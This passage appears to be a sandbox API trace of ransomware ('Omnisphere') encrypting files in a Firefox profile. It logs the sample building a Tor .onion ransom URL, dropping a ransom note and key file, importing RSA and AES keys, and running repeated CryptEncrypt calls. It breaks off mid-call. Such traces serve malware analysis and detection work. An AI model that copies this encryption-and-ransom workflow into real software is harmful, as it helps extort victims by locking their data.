WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1726738, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0161.268] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0161.268] GetProcessHeap () returned 0x1600000 [0161.268] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd2) returned 0x1730b68 [0161.268] PathCombineW (in: pszDest=0x1730b68, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt" [0161.268] GetProcessHeap () returned 0x1600000 [0161.268] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x173c540 [0161.268] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0161.268] WriteFile (in: hFile=0x288, lpBuffer=0x173c540*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d2f8, lpOverlapped=0x0 | out: lpBuffer=0x173c540*, lpNumberOfBytesWritten=0x3e0d2f8*=0x588, lpOverlapped=0x0) returned 1 [0161.269] CloseHandle (hObject=0x288) returned 1 [0161.269] GetProcessHeap () returned 0x1600000 [0161.269] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1747b48 | out: hHeap=0x1600000) returned 1 [0161.269] GetProcessHeap () returned 0x1600000 [0161.269] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc8) returned 0x162c2b8 [0161.269] PathCombineW (in: pszDest=0x162c2b8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key" [0161.269] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0161.269] WriteFile (in: hFile=0x288, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d30c, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d30c*=0x5a0, lpOverlapped=0x0) returned 1 [0161.269] CloseHandle (hObject=0x288) returned 1 [0161.269] GetProcessHeap () returned 0x1600000 [0161.270] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162c2b8 | out: hHeap=0x1600000) returned 1 [0161.270] GetProcessHeap () returned 0x1600000 [0161.270] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x172de48 | out: hHeap=0x1600000) returned 1 [0161.270] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1472dc0f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xb8403501, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb8d8cb9a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xcc, cFileName="saved-telemetry-pings", cAlternateFileName="SAVED-~1")) returned 1 [0161.270] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4731d65, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4731d65, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x47330f8, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x36e8, dwReserved0=0x0, dwReserved1=0xcc, cFileName="search.json.mozlz4", cAlternateFileName="SEARCH~1.MOZ")) returned 1 [0161.270] GetProcessHeap () returned 0x1600000 [0161.270] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc8) returned 0x162c6c8 [0161.270] PathCombineW (in: pszDest=0x162c6c8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="search.json.mozlz4" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\search.json.mozlz4") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\search.json.mozlz4" [0161.270] StrStrW (lpFirst=".omnisphere", lpSrch=".mozlz4") returned 0x0 [0161.270] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\search.json.mozlz4" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\search.json.mozlz4"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0161.271] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x3e0d2d0 | out: lpFileSize=0x3e0d2d0*=14056) returned 1 [0161.271] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x31c4, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0161.271] ReadFile (in: hFile=0x288, lpBuffer=0x3e0cd78, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d2c0, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesRead=0x3e0d2c0*=0x524, lpOverlapped=0x0) returned 1 [0161.276] GetTickCount () returned 0x11680ef [0161.276] GetTickCount () returned 0x11680ef [0161.276] GetTickCount () returned 0x11680ef [0161.276] GetTickCount () returned 0x11680ef [0161.276] GetTickCount () returned 0x11680ef [0161.276] GetTickCount () returned 0x11680ef [0161.276] GetTickCount () returned 0x11680ef [0161.276] GetTickCount () returned 0x11680ef [0161.276] GetTickCount () returned 0x11680ef [0161.276] GetTickCount () returned 0x11680ef [0161.276] GetTickCount () returned 0x11680ef [0161.276] GetTickCount () returned 0x11680ef [0161.276] GetTickCount () returned 0x11680ef [0161.276] GetTickCount () returned 0x11680ef [0161.276] GetTickCount () returned 0x11680ef [0161.276] GetTickCount () returned 0x11680ef [0161.276] GetTickCount () returned 0x11680ef [0161.276] GetTickCount () returned 0x11680ef [0161.276] GetTickCount () returned 0x11680ef [0161.276] GetTickCount () returned 0x11680ef [0161.276] GetTickCount () returned 0x11680ef [0161.276] GetTickCount () returned 0x11680ef [0161.277] GetTickCount () returned 0x11680ef [0161.277] GetTickCount () returned 0x11680ef [0161.277] GetTickCount () returned 0x11680ef [0161.277] GetTickCount () returned 0x11680ef [0161.277] GetTickCount () returned 0x11680ef [0161.277] GetTickCount () returned 0x11680ef [0161.277] GetTickCount () returned 0x11680ef [0161.277] GetTickCount () returned 0x11680ef [0161.277] GetTickCount () returned 0x11680ef [0161.277] GetTickCount () returned 0x11680ef [0161.277] CryptAcquireContextW (in: phProv=0x3e0cd58, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0cd58*=0x1668928) returned 1 [0161.278] CryptImportKey (in: hProv=0x1668928, pbData=0x3e0ccc0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd64 | out: phKey=0x3e0cd64*=0x1639528) returned 1 [0161.278] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x80) returned 1 [0161.278] CryptDestroyKey (hKey=0x1639528) returned 1 [0161.278] CryptReleaseContext (hProv=0x1668928, dwFlags=0x0) returned 1 [0161.278] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x36e8, lpName=0x0) returned 0x3c0 [0161.278] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x36e8) returned 0x1480000 [0161.298] CryptAcquireContextW (in: phProv=0x3e0cd48, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0cd48*=0x1668e78) returned 1 [0161.298] CryptImportKey (in: hProv=0x1668e78, pbData=0x3e0cd00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd58 | out: phKey=0x3e0cd58*=0x16396a8) returned 1 [0161.299] CryptSetKeyParam (hKey=0x16396a8, dwParam=0x4, pbData=0x3e0cd3c*=0x2, dwFlags=0x0) returned 1 [0161.299] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10) returned 1 [0161.299] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.299] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.299] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.299] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.299] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.299] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.299] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.299] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.299] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.299] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.299] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.299] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.299] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.299] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.299] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.299] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.299] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.299] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.299] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.300] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.300] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.300] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.300] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.300] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.300] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.300] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.300] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.300] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.300] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.300] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.300] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.300] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.300] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.300] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.300] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.300] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.300] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.300] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.300] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.300] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.300] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.301] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.301] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.301] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.301] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.301] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.301] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.301] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.301] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.301] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.301] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.301] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.301] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.301] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.301] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.301] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.301] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.301] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.301] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.301] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.301] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.301] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.301] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.301] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.302] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.302] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, 